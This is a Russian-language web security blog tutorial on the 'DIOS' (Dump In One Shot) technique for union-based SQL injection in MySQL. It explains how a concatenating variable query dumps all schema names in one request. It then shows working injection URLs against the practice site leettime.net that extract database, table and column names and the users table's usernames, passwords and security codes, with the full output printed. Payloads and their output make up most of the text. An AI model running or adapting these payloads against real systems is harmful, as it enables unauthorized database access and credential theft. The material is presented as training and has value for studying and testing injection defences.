21.01.2016 @ 17:19 DIOS запросы в SQL инъекциях Dump In One Shot, SQL injection Сегодня речь пойдет о небольшом углубление техники эксплуатации SQL инъекций которая получила свое весьма логическое название — «DIOS in SQL injection«. Основы работы с SQL инъекциями в этой статье рассматриваться не будут так как в интернете уйма материала для ознакомления. DIOS -(Dump In One Shot|»Дамп всех столбцов и колонок за один запрос«) это техника раскручивание SQL инъекций часто применяемая когда средства автоматизации работы с SQL инъекциями такие как SQLmap, Havij и им подобные не могут справиться с WAF (WebApplicationFirewall) но заведомо известно нам пути обхода этих фаерволов порой вынуждают нас писать дополнительные скрипты для того же SQLmap или свои утилиты под такие ситуации.Я же хочу рассмотреть с вами альтернативу этому и использовать всего лишь браузер.Заранее хочу сказать что область применение этой техники это Union Base SQL инъекций — тобиж те инъекции которые имеют вывод в браузере.Так же реже встречается и среди Error Base SQL иньекций, но встречаются и немного сложнее реализуется.Для слепых инъекций эта техника не применяется.По этому сегодня мы будем рассматривать классическую Union Base SQL injection с применением DIOS в MySQL базах(Также применяется и в PostgreSQL и MSSQL базах). Для начала попытаемся поэтапно разобрать эту технику и как её реализовать Как вы уже смогли догадаться по названию (DIOS — Dump In One Shot) — «Весь дамп в одном выводе» своеобразная техника построения запросов в области инъекций кода SQL которая с помощью применение операторов языка SQL позволяет нам вывести весь дамп за один запрос. Для начала давайте посмотрим на следующий запрос в MySQL который выведет все возможные имена баз данных: Классический вид простейшего DIOS запроса в MySQL базах имеет следующий вид: (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in @a:=concat(@a,schema_name,' '))))a); В качестве примера будет выступать онлайн площадка для тренировки навыков в sql injection сайт leettime.net так мы закон не нарушаем. И так есть у нас уязвимый ресурс: http://leettime.net/sqlninja.com/tasks/basic_ch1.php ?id=.1' union select 111,222,333 -- - Столбец 222 уязвим — в него и вставим наш DIOS запрос. http://leettime.net/sqlninja.com/tasks/basic_ch1.php ?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,' '))))a)),333 -- - Как мы видим нам вернуло список всех баз данных на этом сайте. Теперь давайте разбираться как мы пришли к такому запросу. Для начала давайте посмотрим на такой запрос: select * from test.users where user_name in ("hacker","admin","rururu","tututu"); запрос будет идентичен этому запросу: select * from test.user where user_name='hacker' or user_name='admin' or user_name='rururu' or user_name='tututu'; И вернет выборку всех данных из таблицы user_name где выполняется условия where и в нашем случае вернется данные для пользователей admin и hacker так они удовлетворяют условие where. Идем дальше, смотрим часть запроса (select (@a) from (information_schema.schemata)where(@a)in @a:=concat(@a,schema_name,' ') Как мы можем видеть командой select мы делаем выборку переменной @a (@ знак переменной в синтаксисе языка MySQL) из таблицы information_schema.schemata и благодаря оператору IN все имена баз данных попадают в обработку команды IN и происходит их выборка так как все они существуют в базе.Таким образом выполняется цикл где переменная @a поставляется и выбирается по каждому существующему имени базы и в результате мы получаем результат на вывод. Теперь давайте посмотрим на заключительную часть запроса: (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'\n'))))a); Здесь происходит выборка обьедененных значений переменной @a. Думаю понятно как переменная @a обрабатывается в цикле и как происходит выборка. Хочу заметить то что для конкатенации строк мы не используем команду group_concat так она умеет возвращать только первых 1024 символов (Хотя можно обойти это ограничение с помощью команды CAST AS и указать нужное нам ко-тво выводимых символов, но об этом мы сегодня говорить не будем) Давайте используя наш DIOS запрос выведем имена всех таблиц: Для терминала команда выглядит так: (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.colums)where(@a)in(@a:=concat(@a,table_schema,' ::: ',table_name,'\n'))))a); Вывод будет таким information_schema ::: ALL_PLUGINS information_schema ::: APPLICABLE_ROLES information_schema ::: CHARACTER_SETS information_schema ::: COLLATIONS information_schema ::: COLLATION_CHARACTER_SET_APPLICABILITY information_schema ::: COLUMNS information_schema ::: COLUMN_PRIVILEGES information_schema ::: ENABLED_ROLES information_schema ::: ENGINES information_schema ::: EVENTS information_schema ::: FILES information_schema ::: GLOBAL_STATUS information_schema ::: GLOBAL_VARIABLES information_schema ::: KEY_CACHES information_schema ::: KEY_COLUMN_USAGE information_schema ::: PARAMETERS information_schema ::: PARTITIONS information_schema ::: PLUGINS information_schema ::: PROCESSLIST information_schema ::: PROFILING information_schema ::: REFERENTIAL_CONSTRAINTS information_schema ::: ROUTINES information_schema ::: SCHEMATA information_schema ::: SCHEMA_PRIVILEGES information_schema ::: SESSION_STATUS information_schema ::: SESSION_VARIABLES information_schema ::: STATISTICS information_schema ::: SYSTEM_VARIABLES information_schema ::: TABLES information_schema ::: TABLESPACES information_schema ::: TABLE_CONSTRAINTS information_schema ::: TABLE_PRIVILEGES information_schema ::: TRIGGERS information_schema ::: USER_PRIVILEGES information_schema ::: VIEWS information_schema ::: GEOMETRY_COLUMNS information_schema ::: SPATIAL_REF_SYS information_schema ::: CLIENT_STATISTICS information_schema ::: INDEX_STATISTICS information_schema ::: INNODB_SYS_DATAFILES information_schema ::: TABLE_STATISTICS information_schema ::: INNODB_SYS_TABLESTATS information_schema ::: USER_STATISTICS information_schema ::: INNODB_SYS_INDEXES information_schema ::: XTRADB_RSEG information_schema ::: INNODB_CMP_PER_INDEX information_schema ::: INNODB_TRX information_schema ::: CHANGED_PAGE_BITMAPS information_schema ::: INNODB_FT_BEING_DELETED information_schema ::: INNODB_LOCK_WAITS information_schema ::: INNODB_LOCKS information_schema ::: INNODB_TABLESPACES_ENCRYPTION information_schema ::: XTRADB_INTERNAL_HASH_TABLES information_schema ::: INNODB_SYS_FIELDS information_schema ::: INNODB_CMPMEM_RESET information_schema ::: INNODB_CMP information_schema ::: INNODB_FT_INDEX_TABLE information_schema ::: INNODB_SYS_TABLESPACES information_schema ::: INNODB_MUTEXES information_schema ::: INNODB_BUFFER_PAGE_LRU information_schema ::: INNODB_SYS_FOREIGN_COLS information_schema ::: INNODB_CMP_RESET information_schema ::: INNODB_BUFFER_POOL_STATS information_schema ::: INNODB_FT_INDEX_CACHE information_schema ::: INNODB_SYS_FOREIGN information_schema ::: INNODB_METRICS information_schema ::: INNODB_FT_DEFAULT_STOPWORD information_schema ::: INNODB_CMPMEM information_schema ::: INNODB_SYS_TABLES information_schema ::: INNODB_SYS_COLUMNS information_schema ::: INNODB_FT_CONFIG information_schema ::: INNODB_BUFFER_PAGE information_schema ::: INNODB_CMP_PER_INDEX_RESET information_schema ::: XTRADB_READ_VIEW information_schema ::: INNODB_SYS_SEMAPHORE_WAITS information_schema ::: INNODB_CHANGED_PAGES information_schema ::: INNODB_FT_DELETED information_schema ::: INNODB_TABLESPACES_SCRUBBING mysql ::: column_stats mysql ::: columns_priv mysql ::: db mysql ::: event mysql ::: func mysql ::: general_log mysql ::: gtid_slave_pos mysql ::: help_category mysql ::: help_keyword mysql ::: help_relation mysql ::: help_topic mysql ::: host mysql ::: index_stats mysql ::: innodb_index_stats mysql ::: innodb_table_stats mysql ::: plugin mysql ::: proc mysql ::: procs_priv mysql ::: proxies_priv mysql ::: roles_mapping mysql ::: servers mysql ::: slow_log mysql ::: table_stats mysql ::: tables_priv mysql ::: time_zone mysql ::: time_zone_leap_second mysql ::: time_zone_name mysql ::: time_zone_transition mysql ::: time_zone_transition_type mysql ::: user performance_schema ::: accounts performance_schema ::: cond_instances performance_schema ::: events_stages_current performance_schema ::: events_stages_history performance_schema ::: events_stages_history_long performance_schema ::: events_stages_summary_by_account_by_event_name performance_schema ::: events_stages_summary_by_host_by_event_name performance_schema ::: events_stages_summary_by_thread_by_event_name performance_schema ::: events_stages_summary_by_user_by_event_name performance_schema ::: events_stages_summary_global_by_event_name performance_schema ::: events_statements_current performance_schema ::: events_statements_history performance_schema ::: events_statements_history_long performance_schema ::: events_statements_summary_by_account_by_event_name performance_schema ::: events_statements_summary_by_digest performance_schema ::: events_statements_summary_by_host_by_event_name performance_schema ::: events_statements_summary_by_thread_by_event_name performance_schema ::: events_statements_summary_by_user_by_event_name performance_schema ::: events_statements_summary_global_by_event_name performance_schema ::: events_waits_current performance_schema ::: events_waits_history performance_schema ::: events_waits_history_long performance_schema ::: events_waits_summary_by_account_by_event_name performance_schema ::: events_waits_summary_by_host_by_event_name performance_schema ::: events_waits_summary_by_instance performance_schema ::: events_waits_summary_by_thread_by_event_name performance_schema ::: events_waits_summary_by_user_by_event_name performance_schema ::: events_waits_summary_global_by_event_name performance_schema ::: file_instances performance_schema ::: file_summary_by_event_name performance_schema ::: file_summary_by_instance performance_schema ::: host_cache performance_schema ::: hosts performance_schema ::: mutex_instances performance_schema ::: objects_summary_global_by_type performance_schema ::: performance_timers performance_schema ::: rwlock_instances performance_schema ::: session_account_connect_attrs performance_schema ::: session_connect_attrs performance_schema ::: setup_actors performance_schema ::: setup_consumers performance_schema ::: setup_instruments performance_schema ::: setup_objects performance_schema ::: setup_timers performance_schema ::: socket_instances performance_schema ::: socket_summary_by_event_name performance_schema ::: socket_summary_by_instance performance_schema ::: table_io_waits_summary_by_index_usage performance_schema ::: table_io_waits_summary_by_table performance_schema ::: table_lock_waits_summary_by_table performance_schema ::: threads performance_schema ::: users test ::: users И для нашего уязвимого сайта запрос будет выглядеть так: http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (@a)in (@a:=concat(@a,'',table_schema,' ::: > ',table_name,' '))))a)),333 -- - Я добавил html теги для лучшей визуализации(В ситуациях когда символ кавычки ' запрещен можно использовать hex кодировку) И в результате получил следующий вывод: Вывод будет такой: information_schema ::: > CHARACTER_SETS information_schema ::: > CLIENT_STATISTICS information_schema ::: > COLLATIONS information_schema ::: > COLLATION_CHARACTER_SET_APPLICABILITY information_schema ::: > COLUMNS information_schema ::: > COLUMN_PRIVILEGES information_schema ::: > INDEX_STATISTICS information_schema ::: > ENGINES information_schema ::: > EVENTS information_schema ::: > FILES information_schema ::: > GLOBAL_STATUS information_schema ::: > GLOBAL_VARIABLES information_schema ::: > KEY_COLUMN_USAGE information_schema ::: > PARAMETERS information_schema ::: > PARTITIONS information_schema ::: > PLUGINS information_schema ::: > PROCESSLIST information_schema ::: > PROFILING information_schema ::: > REFERENTIAL_CONSTRAINTS information_schema ::: > ROUTINES information_schema ::: > SCHEMATA information_schema ::: > SCHEMA_PRIVILEGES information_schema ::: > SESSION_STATUS information_schema ::: > SESSION_VARIABLES information_schema ::: > STATISTICS information_schema ::: > TABLES information_schema ::: > TABLESPACES information_schema ::: > TABLE_CONSTRAINTS information_schema ::: > TABLE_PRIVILEGES information_schema ::: > TABLE_STATISTICS information_schema ::: > THREAD_STATISTICS information_schema ::: > TRIGGERS information_schema ::: > USER_PRIVILEGES information_schema ::: > USER_STATISTICS information_schema ::: > VIEWS information_schema ::: > INNODB_BUFFER_PAGE information_schema ::: > INNODB_TRX information_schema ::: > INNODB_BUFFER_POOL_STATS information_schema ::: > INNODB_LOCK_WAITS information_schema ::: > INNODB_CMPMEM information_schema ::: > INNODB_CMP information_schema ::: > INNODB_LOCKS information_schema ::: > INNODB_CMPMEM_RESET information_schema ::: > INNODB_CMP_RESET information_schema ::: > INNODB_BUFFER_PAGE_LRU leettime_761wHole ::: > testtable1 leettime_761wHole ::: > userlogs leettime_761wHole ::: > users Ну если нам база information_schema не нужна — то можем ее сразу отфильтровать в нашем DIOS запросе и наш запрос будет иметь следующий вид: http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where(table_schema!='information_schema')and (@a)in (@a:=concat(@a,'', table_schema,' ::: > ',table_name,' '))))a)),333 -- - Получим следующий вывод: Username is : leettime_761wHole ::: > testtable1 leettime_761wHole ::: > userlogs leettime_761wHole ::: > users Теперь давайте добавим к нашему выводу еще имена столбцов: http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where(table_schema!='information_schema')and (@a)in (@a:=concat(@a,'<font color=red>', table_schema,'</font><font color=green> ::: > ',table_name,'</font><font color=blue> ---> ',column_name,'<br>'))))a)),333 -- - Получаем вывод: Username is : leettime_761wHole ::: > testtable1 ---> testid leettime_761wHole ::: > testtable1 ---> column1 leettime_761wHole ::: > testtable1 ---> column2 leettime_761wHole ::: > testtable1 ---> column3 leettime_761wHole ::: > userlogs ---> id leettime_761wHole ::: > userlogs ---> username leettime_761wHole ::: > userlogs ---> action leettime_761wHole ::: > userlogs ---> date leettime_761wHole ::: > users ---> id leettime_761wHole ::: > users ---> username leettime_761wHole ::: > users ---> password leettime_761wHole ::: > users ---> user_type leettime_761wHole ::: > users ---> sec_code Если нам нужно получить дамп данных из нужной таблицы также можно использовать запрос вида: http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=.1' union select 111,((select (@a) from (select(@a:=0x00),(select (@a) from (users)where (@a)in (@a:=concat(@a,'<font color=red>', username,'</font><font color=green> ::: > ',password,'</font><font color=blue> ---> ',sec_code,'<br>'))))a)),333 -- - Получаем вывод: Username is : injector ::: > khan ---> LJDFAL123123 decompiler ::: > hacktract ---> LADQAL128271 devilhunte ::: > dante ---> LATQAL1987A1 Zen ::: > sec-idiots ---> LADQAL128271 Zenodermus ::: > security-i ---> LASQAL12RT90 grayhat ::: > hacker ---> 987AKHASD987 khan ::: > haxor ---> KSDLWEL12222 admin ::: > sadmin ---> 34DFA3423DFD Это мы рассмотрели классический простой DIOS запрос в SQL injection.Далее планируется углубление этой техники и будут рассмотрены техники обхода различных веб фаерволов(WAF) Всем спасибо за внимание. ) Mister_Bert0ni 12674 Web security Читать дальше >>